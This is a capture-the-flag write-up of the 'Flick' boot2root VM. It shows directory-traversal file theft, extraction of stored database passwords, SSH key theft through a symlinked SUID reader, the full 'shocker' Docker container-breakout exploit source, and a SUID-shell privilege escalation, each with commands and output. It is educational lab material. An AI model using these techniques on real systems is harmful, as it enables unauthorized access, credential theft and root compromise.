How Many Hackers Does It Take to Change a Lightbulb ?
Whilst in the middle of cracking Xerxes2, leonjza decided to release Flick - a CTF that is sure to tax minds. Naturally I decided to make myself feel like an unskilled loser, and downloaded it. Here’s the story of how I rooted Flick first.
root@flick:~# id uid=0(root) gid=0(root) groups=0(root) First ! @leonjza @VulnHub #flick #boot2root #vulnhub
‘Avin’ a Butchers
Blah blah NMAP blah ;)
12345678910111213141516
root@pwk:~# nmap -sS -O -p1-65535 -T4 192.168.0.106
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-08 22:39 BST
Nmap scan report for 192.168.0.106
Host is up (0.00s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|1024 04:d0:8d:4d:ee:87:30:e7:60:82:63:d3:a8:6e:4b:ac (DSA)|2048 64:ec:a9:9b:0b:c0:11:d4:08:63:cf:83:e1:db:23:9a (RSA)|_ 256 2d:32:93:ce:0e:54:3f:84:ee:01:c7:c0:bb:68:e2:02 (ECDSA)8881/tcp open unknown
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SSH and a random unknown port - ominous. A quick netcat to the port presents us with a request for a password
123
root@pwk:~# nc 192.168.0.106 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
>
Anything you type in just gets repeated back to you. I also checked for buffer overflows and format string vulns, but no avail - looks like I need a password.
1234567891011
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
OK: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> %s%s%s%s
OK: %s%s%s%s
> wut ?
OK: wut ?
>
OK, so not knowing the password, I decided to check out SSH.
Which just so happens to be the password for the application runnning on port 8881
12345678
root@pwk:~# nc 192.168.0.106 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> tabupJievas8Knoj
OK: tabupJievas8Knoj
Accepted! The door should be open now :poolparty:
>
Another NMAP scan now indicates that port 80 is open. Let us take a look.
The Internet is Made of Cats
Looking at the site hosted by the website kinda stops me in my tracks. KITTENS !!! YAY !!!
You can log in with the credentials of demo:demo123 on the login page to give you the ability to upload images (note here, it allows you to upload absolutely anything).
I figured that the upload feature was the vulnerability and worked on uploading PHP shells etc, but I was not able to get any PHP to execute. Maybe it’s not the upload feature that’s useful, maybe it’s the download feature ? The download feature will present you with a file, called image.jpg, of the file you’re requesting. Turns out you can request any file on the filesystem if you bypass the directory traversal filter (same way as with Hell, using ….// instead of ../). Requesting the following
Hmm, with this I can request pretty much anything, right ? If a folder or file exists, it gives me a download dialog, if the file does not exist, it gives me an error. This is blind filesystem traversal.
Firstly I needed to find out the DocumentRoot from the Apache
So, I figured I wanted some credentials - and started by trying to get MySQL credentials from the application. A bit of googling determined that the application was Bootstrap on top of Laravel. Firstly I requested the following URL to get the apache configuration.
which pointed me towards the sites-enabled folder. A bit of googling told me that sites-enabled is just full of symlinks to files in sites-available, so I grabbed the default file
<VirtualHost*:80> ServerAdmin webmaster@localhost
DocumentRoot /var/www/flick_photos/public
<Directory/> Options FollowSymLinks
AllowOverride None
</Directory><Directory/var/www/flick_photos/public> Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory> ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory"/usr/lib/cgi-bin"> AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory> ErrorLog ${APACHE_LOG_DIR}/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory"/usr/share/doc/"> Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory></VirtualHost>
Our DocumentRoot is /var/www/flick_photos/public, so we now know our base path. Using the Laravel github repo as a directional aid, I found out the database config file is located in app/config/database.php, so
<?phpreturnarray(/* |-------------------------------------------------------------------------- | PDO Fetch Style |-------------------------------------------------------------------------- | | By default, database results will be returned as instances of the PHP | stdClass object; however, you may desire to retrieve records in an | array format for simplicity. Here you can tweak the fetch style. | */'fetch'=>PDO::FETCH_CLASS,/* |-------------------------------------------------------------------------- | Default Database Connection Name |-------------------------------------------------------------------------- | | Here you may specify which of the database connections below you wish | to use as your default connection for all database work. Of course | you may use many connections at once using the Database library. | */// Jan 2014 note: We have moved away from the old crappy SQLite 2.x database and moved// on to the new and improved MySQL database. So, I will just comment out this as it is// no longer in use//'default' => 'sqlite','default'=>'mysql',/* |-------------------------------------------------------------------------- | Database Connections |-------------------------------------------------------------------------- | | Here are each of the database connections setup for your application. | Of course, examples of configuring each database platform that is | supported by Laravel is shown below to make development simple. | | | All database work in Laravel is done through the PHP PDO facilities | so make sure you have the driver for your particular database of | choice installed on your machine before you begin development. | */'connections'=>array('sqlite'=>array('driver'=>'sqlite','database'=>__DIR__.'/../database/production.sqlite',// OLD DATABASE NO LONGER IN USE!'prefix'=>'',),'mysql'=>array('driver'=>'mysql','host'=>'localhost','database'=>'flick','username'=>'flick','password'=>'resuddecNeydmar3','charset'=>'utf8','collation'=>'utf8_unicode_ci','prefix'=>'',),'pgsql'=>array('driver'=>'pgsql','host'=>'localhost','database'=>'forge','username'=>'forge','password'=>'','charset'=>'utf8','prefix'=>'','schema'=>'public',),'sqlsrv'=>array('driver'=>'sqlsrv','host'=>'localhost','database'=>'database','username'=>'root','password'=>'','prefix'=>'',),),/* |-------------------------------------------------------------------------- | Migration Repository Table |-------------------------------------------------------------------------- | | This table keeps track of all the migrations that have already run for | your application. Using this information, we can determine which of | the migrations on disk haven't actually been run in the database. | */'migrations'=>'migrations',/* |-------------------------------------------------------------------------- | Redis Databases |-------------------------------------------------------------------------- | | Redis is an open source, fast, and advanced key-value store that also | provides a richer set of commands than a typical key-value systems | such as APC or Memcached. Laravel makes it easy to dig right in. | */'redis'=>array('cluster'=>false,'default'=>array('host'=>'127.0.0.1','port'=>6379,'database'=>0,),),);
This line is what we need to be focusing on
1
database' => __DIR__.'/../database/production.sqlite',// OLD DATABASE NO LONGER IN USE!
which would indicate that the app previously used SQLite, and switched to MySQL. There’s a file I need to get my hands on !
Yes ! Once I renamed the file and installed SQLite tools onto my Kali VM, I was able to wander around the database to get some username and password combos
12345678910111213141516171819202122232425
root@pwk:~# mv image.jpg production.sqlite
root@pwk:~# apt-get install sqlite
Blah blah, install blah.
root@pwk:~# sqlite production.sqlite
SQLite version 2.8.17
Enter ".help"for instructions
sqlite> .databases
seq name file
--- --------------- ----------------------------------------------------------
0 main /root/Downloads/production.sqlite
1 temp /var/tmp/sqlite_pUdaqDiGqjXzPPF
sqlite> .tables
old_users
sqlite> .dump old_users
BEGIN TRANSACTION;CREATE TABLE old_users ( username text,
password text
);INSERT INTO old_users VALUES('paul','nejEvOibKugEdof0KebinAw6TogsacPayarkOctIasejbon7Ni7Grocmyalkukvi');INSERT INTO old_users VALUES('robin','JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjad1');INSERT INTO old_users VALUES('james','scujittyukIjwip0zicjoocAnIltAsh4Vuer4osDidsaiWipOkDunipownIrtOb5');INSERT INTO old_users VALUES('dean','FumKivcenfodErk0Chezauggyokyait5fojEpCayclEcyaj2heTwef0OlNiphAnA');COMMIT;sqlite>
I know that the users Robin and Dean exist, so I decided to try the above passwords
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi Dean,
I will be away on leave for the next few weeks. I have asked the admin guys to
write a quick script that will allow you to read my .dockerfile for flick-
a-photo so that you can continue working in my absense.
The .dockerfile is in my home, so the path for the script will be something like
/home/robin/flick-dev/
Please call me if you have any troubles!
- --
Ciao
Robin
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBAgAGBQJT32ZsAAoJENRCTh/agc2DTNIP/0+ut1jWzk7VgJlT6tsGB0Ah
yi24i2b+JAVtINzCNgJ+rXUStaAEudTvJDF28b/wZCaFVFoNJ8Q30J03FXo4SRnA
ZW6HZZIGEKdlD10CcXsQrLMRmWZlBDQnCm4+EMOvavS1uU9gVvcaYhnow6uwZlwR
enf71LvtS1h0+PrFgSIoItBI4/lx7BiYY9o3hJyaQWkmAZsZLWQpJtROe8wsxb1l
9o4jCJrADeJBsYM+xLExsXaEobHfKtRtsM+eipHXIWIH+l+xTi8Y1/XIlgEHCelU
jUg+Hswq6SEch+1T5B+9EPoeiLT8Oi2Rc9QePSZ3n0fe4f3WJ47lEYGLLEUrKNG/
AFLSPnxHTVpHNO72KJSae0cG+jpj1OKf3ErjdTk1PMJy75ntQCrgtnGnp9xvpk0b
0xg6cESLGNkrqDGopsN/mgi6+2WKtUuO5ycwVXFImY3XYl+QVZgd/Ntpu4ZjyZUT
lxqCAk/G1s43s+ySFKSoHZ8c/CuOKTsyn6uwI3NxBZPD04xfzoc0/R/UpIpUmneK
q9LddBQK4vxPab8i4GNDiMp+KXyfByO864PtKQnCRkGQewanxoN0lmjB/0eKhkmf
Yer1sBmumWjjxR8TBY3cVRMH93zpIIwqxRNOG6bnnSVzzza5DJuNssppCmXLOUL9
nZAuFXkGFu6cMMD4rDXQ
=2moZ
-----END PGP SIGNATURE-----
Looks like they tried to be clever and made the binary instead. So, what does this binary do ? It seems to just read any file called “dockerfile” from the directory you provide.
After messing around reading files I created in varying directories, I decided to fool the application into reading a symlink to an arbitrary file on the filesystem - my first attempt was /home/robin/.ssh/id_rsa. Might as well start somewhere, right ? I was fully expecting this to fail, as I had no idea if the target file actually existed.
dean@flick:~$ ./read_docker ./ > robin.priv
dean@flick:~$ chmod 600 ./robin.priv
dean@flick:~$ ssh -i robin.priv [email protected] .o88o. oooo o8o oooo
888`" `888 `"' `888o888oo 888 oooo .ooooo. 888 oooo 888 888 `888 d88'`"Y8 888 .8P' 888 888 888 888 888888. 888 888 888 888 .o8 888 `88b.o888o o888o o888o `Y8bod8P' o888o o888o
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic x86_64) * Documentation: https://help.ubuntu.com/
System information as of Wed Aug 13 00:31:14 SAST 2014
System load: 0.0 Processes: 91
Usage of /: 39.7% of 6.99GB Users logged in: 1
Memory usage: 51% IP address for eth0: 192.168.0.106
Swap usage: 1% IP address for docker0: 172.17.42.1
Graph this data and manage this system at:
https://landscape.canonical.com/
79 packages can be updated.
51 updates are security updates.
New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Wed Aug 13 00:16:47 2014 from 192.168.0.110
robin@flick:~$
Docker all the Things !
Robin can sudo /opt/start_apache/restart.sh without a password, as shown by running sudo -l
1234567
robin@flick:~$ sudo -l
Matching Defaults entries for robin on this host:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User robin may run the following commands on this host:
(root) NOPASSWD: /opt/start_apache/restart.sh
robin@flick:~$
This shell script seems to restart the Apache servers when run
1234567
robin@flick:~$ sudo /opt/start_apache/restart.sh
* Restarting web server apache2 apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
[ OK ]start_apache-8000: stopped
start_apache-8000: started
robin@flick:~$
The file cannot be viewed, as the permissions prevent it
12345
robin@flick:~$ ls -l /opt/start_apache/
total 8
-rwx------ 1 root root 79 Aug 4 17:04 restart.sh
-rwx------ 1 root root 2285 Aug 4 17:09 start.py
robin@flick:~$
There’s got to be another way to read that file to see what it’s doing. Further poking around resulted in me finding out that Docker is installed (Docker is quite cool - take a look). However, as with any application, there are vulnerabilities.
The docker version command shows us the server is running version 0.11
1234567891011
robin@flick:~$ docker version
Client version: 0.11.0
Client API version: 1.11
Go version (client): go1.2.1
Git commit (client): 15209c3
Server version: 0.11.0
Server API version: 1.11
Git commit (server): 15209c3
Go version (server): go1.2.1
Last stable version: 1.1.2, please update docker
robin@flick:~$
Which, according to this site, is vulnerable to a container breakout. The blog indicates that there is PoC code out in the wild - so off I went to find it. Turns out it’s on github, obviously.
OK, so lets clone the repo to the local machine and have a look at the code
/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer * * Demonstrates that any given docker image someone is asking * you to run in your docker setup can access ANY file on your host, * e.g. dumping hosts /etc/shadow or other sensitive info, compromising * security of the host and any other docker VM's on it. * * docker using container based VMM: Sebarate pid and net namespace, * stripped caps and RO bind mounts into container's /. However * as its only a bind-mount the fs struct from the task is shared * with the host which allows to open files by file handles * (open_by_handle_at()). As we thankfully have dac_override and * dac_read_search we can do this. The handle is usually a 64bit * string with 32bit inodenumber inside (tested with ext4). * Inode of / is always 2, so we have a starting point to walk * the FS path and brute force the remaining 32bit until we find the * desired file (It's probably easier, depending on the fhandle export * function used for the FS in question: it could be a parent inode# or * the inode generation which can be obtained via an ioctl). * [In practise the remaining 32bit are all 0 :] * * tested with docker 0.11 busybox demo image on a 3.11 kernel: * * docker run -i busybox sh * * seems to run any program inside VMM with UID 0 (some caps stripped); if * user argument is given, the provided docker image still * could contain +s binaries, just as demo busybox image does. * * PS: You should also seccomp kexec() syscall :) * PPS: Might affect other container based compartments too * * $ cc -Wall -std=c99 -O2 shocker.c -static */#define _GNU_SOURCE#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <errno.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <dirent.h>#include <stdint.h>structmy_file_handle{unsignedinthandle_bytes;inthandle_type;unsignedcharf_handle[8];};voiddie(constchar*msg){perror(msg);exit(errno);}voiddump_handle(conststructmy_file_handle*h){fprintf(stderr,"[*] #=%d, %d, char nh[] = {",h->handle_bytes,h->handle_type);for(inti=0;i<h->handle_bytes;++i){fprintf(stderr,"0x%02x",h->f_handle[i]);if((i+1)%20==0)fprintf(stderr,"\n");if(i<h->handle_bytes-1)fprintf(stderr,", ");}fprintf(stderr,"};\n");}intfind_handle(intbfd,constchar*path,conststructmy_file_handle*ih,structmy_file_handle*oh){intfd;uint32_tino=0;structmy_file_handleouth={.handle_bytes=8,.handle_type=1};DIR*dir=NULL;structdirent*de=NULL;path=strchr(path,'/');// recursion stops if path has been resolvedif(!path){memcpy(oh->f_handle,ih->f_handle,sizeof(oh->f_handle));oh->handle_type=1;oh->handle_bytes=8;return1;}++path;fprintf(stderr,"[*] Resolving '%s'\n",path);if((fd=open_by_handle_at(bfd,(structfile_handle*)ih,O_RDONLY))<0)die("[-] open_by_handle_at");if((dir=fdopendir(fd))==NULL)die("[-] fdopendir");for(;;){de=readdir(dir);if(!de)break;fprintf(stderr,"[*] Found %s\n",de->d_name);if(strncmp(de->d_name,path,strlen(de->d_name))==0){fprintf(stderr,"[+] Match: %s ino=%d\n",de->d_name,(int)de->d_ino);ino=de->d_ino;break;}}fprintf(stderr,"[*] Brute forcing remaining 32bit. This can take a while...\n");if(de){for(uint32_ti=0;i<0xffffffff;++i){outh.handle_bytes=8;outh.handle_type=1;memcpy(outh.f_handle,&ino,sizeof(ino));memcpy(outh.f_handle+4,&i,sizeof(i));if((i%(1<<20))==0)fprintf(stderr,"[*] (%s) Trying: 0x%08x\n",de->d_name,i);if(open_by_handle_at(bfd,(structfile_handle*)&outh,0)>0){closedir(dir);close(fd);dump_handle(&outh);returnfind_handle(bfd,path,&outh,oh);}}}closedir(dir);close(fd);return0;}intmain(){charbuf[0x1000];intfd1,fd2;structmy_file_handleh;structmy_file_handleroot_h={.handle_bytes=8,.handle_type=1,.f_handle={0x02,0,0,0,0,0,0,0}};fprintf(stderr,"[***] docker VMM-container breakout Po(C) 2014 [***]\n""[***] The tea from the 90's kicks your sekurity again. [***]\n""[***] If you have pending sec consulting, I'll happily [***]\n""[***] forward to my friends who drink secury-tea too! [***]\n");// get a FS reference from something mounted in from outsideif((fd1=open("/.dockerinit",O_RDONLY))<0)die("[-] open");if(find_handle(fd1,"/etc/shadow",&root_h,&h)<=0)die("[-] Cannot find valid handle!");fprintf(stderr,"[!] Got a final handle!\n");dump_handle(&h);if((fd2=open_by_handle_at(fd1,(structfile_handle*)&h,O_RDONLY))<0)die("[-] open_by_handle");memset(buf,0,sizeof(buf));if(read(fd2,buf,sizeof(buf)-1)<0)die("[-] read");fprintf(stderr,"[!] Win! /etc/shadow output follows:\n%s\n",buf);close(fd2);close(fd1);return0;}
Looks like it’s a simple case of replacing the following line with the file to read
1
if(find_handle(fd1,"/etc/shadow",&root_h,&h)<=0)
I thought I could be sneaky here and request /root/flag.txt, so I edited the source code, and compiled it as per the instructions
robin@flick:~$ docker build -t shocker/shocker shocker/
Uploading context 101.4 kB
Uploading context
Step 0 : FROM ubuntu
---> ba5877dc9bec
Step 1 : RUN apt-get update && apt-get install -yq build-essential
---> Using cache
---> fe0bdac7e278
Step 2 : ADD . /app
---> b1c818249f2f
Removing intermediate container 80d78a2e42ff
Step 3 : WORKDIR /app
---> Running in b670431898c9
---> a8aea5e1a755
Removing intermediate container b670431898c9
Step 4 : RUN cc -Wall -std=c99 -O2 shocker.c -static -Wno-unused-result -o shocker
---> Running in a19ed14d76b6
---> 391372de38ec
Removing intermediate container a19ed14d76b6
Step 5 : CMD ["./shocker"] ---> Running in 1572b7cb39e5
---> 6a588733f8ce
Removing intermediate container 1572b7cb39e5
Successfully built 6a588733f8ce
robin@flick:~$ docker run shocker/shocker
[***] docker VMM-container breakout Po(C)2014[***][***] The tea from the 90's kicks your sekurity again. [***][***] If you have pending sec consulting, I'll happily [***][***] forward to my friends who drink secury-tea too! [***][*] Resolving 'root/flag.txt'[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[+] Match: root ino=130833
[*] Brute forcing remaining 32bit. This can take a while...
[*](root) Trying: 0x00000000
[*]#=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};[*] Resolving 'flag.txt'[*] Found .
[*] Found .bashrc
[*] Found .Xauthority
[*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
[*] Found flag.txt
[+] Match: flag.txt ino=165017
[*] Brute forcing remaining 32bit. This can take a while...
[*](flag.txt) Trying: 0x00000000
[*]#=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};[!] Got a final handle!
[*]#=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};[!] Win! /root/flag.txt output follows:
Errr, you are close, but this is not the flag you are looking for.
robin@flick:~$
Wow, 1 it worked, and 2 this is not the flag you are looking for
I did notice, however, that it provides a directory listing when trying to find the file requested. There’s a folder or file called 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc. I wonder if that is either the flag, or if the flag is in it ?
Firstly lets try requesting it as a file by changing the source code, compile and run it
robin@flick:~$ docker build -t shocker/shocker shocker/
Uploading context 101.9 kB
Uploading context
Step 0 : FROM ubuntu
---> ba5877dc9bec
Step 1 : RUN apt-get update && apt-get install -yq build-essential
---> Using cache
---> fe0bdac7e278
Step 2 : ADD . /app
---> c70bb87b476f
Removing intermediate container 9dc4cbb04db9
Step 3 : WORKDIR /app
---> Running in 77dfcfa2bdd0
---> e376b09e495d
Removing intermediate container 77dfcfa2bdd0
Step 4 : RUN cc -Wall -std=c99 -O2 shocker.c -static -Wno-unused-result -o shocker
---> Running in 6d5d7089896d
---> f3140f828bfc
Removing intermediate container 6d5d7089896d
Step 5 : CMD ["./shocker"] ---> Running in 481824a260cb
---> 2c7032dcfbd2
Removing intermediate container 481824a260cb
Successfully built 2c7032dcfbd2
robin@flick:~$ docker run shocker/shocker
[***] docker VMM-container breakout Po(C)2014[***][***] The tea from the 90's kicks your sekurity again. [***][***] If you have pending sec consulting, I'll happily [***][***] forward to my friends who drink secury-tea too! [***][*] Resolving 'root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/real_flag.txt'[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[+] Match: root ino=130833
[*] Brute forcing remaining 32bit. This can take a while...
[*](root) Trying: 0x00000000
[*]#=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};[*] Resolving '53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/real_flag.txt'[*] Found .
[*] Found .bashrc
[*] Found .Xauthority
[*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
[+] Match: 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc ino=138648
[*] Brute forcing remaining 32bit. This can take a while...
[*](53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc) Trying: 0x00000000
[*]#=8, 1, char nh[] = {0x98, 0x1d, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};[*] Resolving 'real_flag.txt'[*] Found .
[*] Found real_flag.txt
[+] Match: real_flag.txt ino=165015
[*] Brute forcing remaining 32bit. This can take a while...
[*](real_flag.txt) Trying: 0x00000000
[*]#=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};[!] Got a final handle!
[*]#=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};[!] Win! /root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc output follows:
Congrats!
You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it
ciao for now!
@leonjza
robin@flick:~$
I’m Always After the Bonus Points
So, on Vulnhub, the text for Flick has this line in it
1
As a bonus, can you get root command execution?
Using the aforementioned Docker Container Breakout vulnerability, I read the contents of /opt/start_apache/restart.sh
123
#!/bin/sh/usr/sbin/service apache2 restart
/usr/bin/supervisorctl restart all
OK, so, it’s restarting apache and restarting all processes controlled by Supervisord. Supervisord stores config files in /etc/supervisor/conf.d. Using the Docker vuln to blind enumerate the files, I located /etc/supervisor/conf.d/start_apache.conf which I read
#!/usr/bin/python''' Simple socket server using threads. Used in the flick CTF Credit: http://www.binarytides.com/python-socket-server-code-example/'''importsocketimportos,sys,signalfromthreadimport*importsubprocess# import the directory containing our config, and prevent the bytcode writessys.dont_write_bytecode=True# see if /tmp has a configuration to load.# Debugging purposes only!!!ifos.path.isfile('/tmp/config.py'):sys.path.insert(0,'/tmp')else:sys.path.insert(0,'/etc')# import the configfromconfigimportconfigHOST=''# Symbolic name meaning all available interfacesPORT=8881# Arbitrary non-privileged ports=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)#Bind socket to local host and porttry:s.bind((HOST,PORT))exceptsocket.errorasmsg:print'Bind failed. Error Code : '+str(msg[0])+' Message '+msg[1]sys.exit()#Start listening on sockets.listen(10)#Function for handling connections. This will be used to create threadsdefclientthread(conn):#Sending message to connected clientconn.send('Welcome to the admin server. A correct password will \'flick\' the switch and open a new door:\n> ')#send only takes string#infinite loop so that function do not terminate and thread do not end.whileTrue:#Receiving from clientdata=conn.recv(1024)reply='OK: '+dataifnotdata:break# check if the password is tabupJievas8Knojifdata.strip()=='tabupJievas8Knoj':return_code=subprocess.call(config['command'],shell=True)ifreturn_code==0:reply+='\nAccepted! The door should be open now :poolparty:\n'else:reply+='\nAccepted, but it doesn\'t look like the door opened :<\n'# add the prompt againreply+='\n> 'conn.sendall(reply)#came out of loopconn.close()#now keep talking with the clientwhile1:#wait to accept a connection - blocking callconn,addr=s.accept()#start new thread takes 1st argument as a function name to be run, second is the tuple of arguments to the function.start_new_thread(clientthread,(conn,))s.close()
This script is the script that provides the service found on port 8881, and seems to get it’s config from /tmp/config.py, and if that doesn’t exist, /etc/config.py. I read /etc/config.py to get an idea of the syntax
123
config={'command':'service apache2 restart'}
Pretty simple. I can use this to execute a set of commands by creating /tmp/config.py with the following contents - this will take a copy of /bin/sh and put it in /tmp called rootshell, then set the SUID bit.
Now, when I run the /opt/start_apache/restart.sh script, /opt/start_apache/start.py will be run, which will result in /tmp/config.py being read instead of /etc/config.py.
1234567
robin@flick:~$ sudo /opt/start_apache/restart.sh
* Restarting web server apache2 apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
[ OK ]start_apache-8000: stopped
start_apache-8000: started
robin@flick:~$
Now, we know that typing the correct password runs the command - we know this firstly from the source code, and secondly because we used it to start the web server right at the beginning. All I should need to do is connect to port 8881, and type the correct password. It should then run my malicious command.
12345678
root@pwk:~# nc 192.168.0.106 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> tabupJievas8Knoj
OK: tabupJievas8Knoj
Accepted! The door should be open now :poolparty:
>
Fingers crossed there’s a rootshell file in /tmp
12345
robin@flick:~$ ls -l /tmp
total 112
-rwxrwxrwx 1 robin robin 82 Aug 12 13:59 config.py
-rwsrwxrwx 1 root root 109768 Aug 13 01:08 rootshell
robin@flick:~$
Well, what do you know - it worked ! Running /tmp/rootshell drops us to a root shell, where we can properly read the flag, and put our public key into authorized_keys.
root@pwk:~# ssh [email protected] .o88o. oooo o8o oooo
888`" `888 `"' `888o888oo 888 oooo .ooooo. 888 oooo 888 888 `888 d88'`"Y8 888 .8P' 888 888 888 888 888888. 888 888 888 888 .o8 888 `88b.o888o o888o o888o `Y8bod8P' o888o o888o
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic x86_64) * Documentation: https://help.ubuntu.com/
System information as of Wed Aug 13 01:11:18 SAST 2014
System load: 0.0 Processes: 90
Usage of /: 39.8% of 6.99GB Users logged in: 2
Memory usage: 41% IP address for eth0: 192.168.0.106
Swap usage: 1% IP address for docker0: 172.17.42.1
Graph this data and manage this system at:
https://landscape.canonical.com/
79 packages can be updated.
51 updates are security updates.
New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Wed Aug 13 00:59:56 2014 from 192.168.0.110
root@flick:~# id
uid=0(root)gid=0(root)groups=0(root)root@flick:~#